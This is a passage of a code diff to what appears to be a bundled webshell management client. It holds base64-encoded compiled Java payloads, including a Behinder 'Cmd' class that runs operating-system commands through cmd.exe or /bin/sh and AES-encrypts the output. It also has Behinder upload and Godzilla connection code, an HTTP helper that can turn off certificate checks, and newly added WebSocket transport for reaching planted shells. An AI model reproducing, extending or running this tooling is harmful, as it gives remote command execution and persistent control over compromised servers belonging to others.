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";
|
|
246
501
|
var CMD_CLASS_B64 = "yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDfBwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goAJwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEFCAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBGARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgLAMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkHAToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhdGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQvcmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEABXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVzdWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNyeXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9sYW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZhL2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEAB3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1jAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEAE2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACwALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwMAX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdlQ29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNzaW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1JhbmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAMihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA5nZXRFcnJvclN0cmVhbQEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAUoW0IpVgEAC3RvQnl0ZUFycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJY29tcGFyZVRvAQAIZW5kc1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAlzZXRMZW5ndGgBAAQoSSlWAQAHZ2V0TmFtZQEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEAeQAQAAAABwAJAHoAewAAAAkAfAB7AAAACQB9AHsAAAAKAH4AewAAAAIAfwCAAAAAAgCBAIAA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";
|
|
@@ -529,6 +784,20 @@ function postRaw(url, body, options = {}) {
|
|
|
529
784
|
return new Promise((resolve2, reject) => {
|
|
530
785
|
const started = Date.now();
|
|
531
786
|
const transport = isHttps ? https : http;
|
|
787
|
+
const onResponse = (res) => {
|
|
788
|
+
const chunks = [];
|
|
789
|
+
res.on("data", (chunk) => chunks.push(chunk));
|
|
790
|
+
res.on(
|
|
791
|
+
"end",
|
|
792
|
+
() => resolve2({
|
|
793
|
+
status: res.statusCode ?? 0,
|
|
794
|
+
headers: res.headers,
|
|
795
|
+
body: Buffer.concat(chunks),
|
|
796
|
+
durationMs: Date.now() - started
|
|
797
|
+
})
|
|
798
|
+
);
|
|
799
|
+
res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
800
|
+
};
|
|
532
801
|
const req = transport.request(
|
|
533
802
|
{
|
|
534
803
|
method: "POST",
|
|
@@ -546,21 +815,9 @@ function postRaw(url, body, options = {}) {
|
|
|
546
815
|
timeout: timeoutMs,
|
|
547
816
|
...isHttps && insecure ? { rejectUnauthorized: false } : {}
|
|
548
817
|
},
|
|
549
|
-
|
|
550
|
-
const chunks = [];
|
|
551
|
-
res.on("data", (chunk) => chunks.push(chunk));
|
|
552
|
-
res.on(
|
|
553
|
-
"end",
|
|
554
|
-
() => resolve2({
|
|
555
|
-
status: res.statusCode ?? 0,
|
|
556
|
-
headers: res.headers,
|
|
557
|
-
body: Buffer.concat(chunks),
|
|
558
|
-
durationMs: Date.now() - started
|
|
559
|
-
})
|
|
560
|
-
);
|
|
561
|
-
res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
562
|
-
}
|
|
818
|
+
onResponse
|
|
563
819
|
);
|
|
820
|
+
req.on("upgrade", onResponse);
|
|
564
821
|
req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
|
|
565
822
|
req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
566
823
|
req.write(body);
|
|
@@ -986,6 +1243,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
|
|
|
986
1243
|
|
|
987
1244
|
// src/connect/godzilla.ts
|
|
988
1245
|
import iconv from "iconv-lite";
|
|
1246
|
+
|
|
1247
|
+
// src/connect/websocket.ts
|
|
1248
|
+
import WebSocket from "ws";
|
|
1249
|
+
function isWebSocketUrl(url) {
|
|
1250
|
+
return /^wss?:\/\//i.test(url);
|
|
1251
|
+
}
|
|
1252
|
+
function requestWebSocket(url, body, options = {}) {
|
|
1253
|
+
let target;
|
|
1254
|
+
try {
|
|
1255
|
+
target = new URL(url);
|
|
1256
|
+
} catch {
|
|
1257
|
+
return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
|
|
1258
|
+
}
|
|
1259
|
+
if (target.protocol !== "ws:" && target.protocol !== "wss:") {
|
|
1260
|
+
return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
|
|
1261
|
+
}
|
|
1262
|
+
const timeoutMs = options.timeoutMs ?? 3e4;
|
|
1263
|
+
return new Promise((resolve2, reject) => {
|
|
1264
|
+
const socket = new WebSocket(target, {
|
|
1265
|
+
headers: buildHeaders({}, options),
|
|
1266
|
+
handshakeTimeout: timeoutMs,
|
|
1267
|
+
rejectUnauthorized: !options.insecure,
|
|
1268
|
+
perMessageDeflate: false,
|
|
1269
|
+
maxPayload: 256 * 1024 * 1024
|
|
1270
|
+
});
|
|
1271
|
+
let timer;
|
|
1272
|
+
let settled = false;
|
|
1273
|
+
const finish = (error, result) => {
|
|
1274
|
+
if (settled) return;
|
|
1275
|
+
settled = true;
|
|
1276
|
+
if (timer) clearTimeout(timer);
|
|
1277
|
+
timer = void 0;
|
|
1278
|
+
socket.removeAllListeners();
|
|
1279
|
+
if (error) reject(error);
|
|
1280
|
+
else resolve2(result);
|
|
1281
|
+
socket.close();
|
|
1282
|
+
};
|
|
1283
|
+
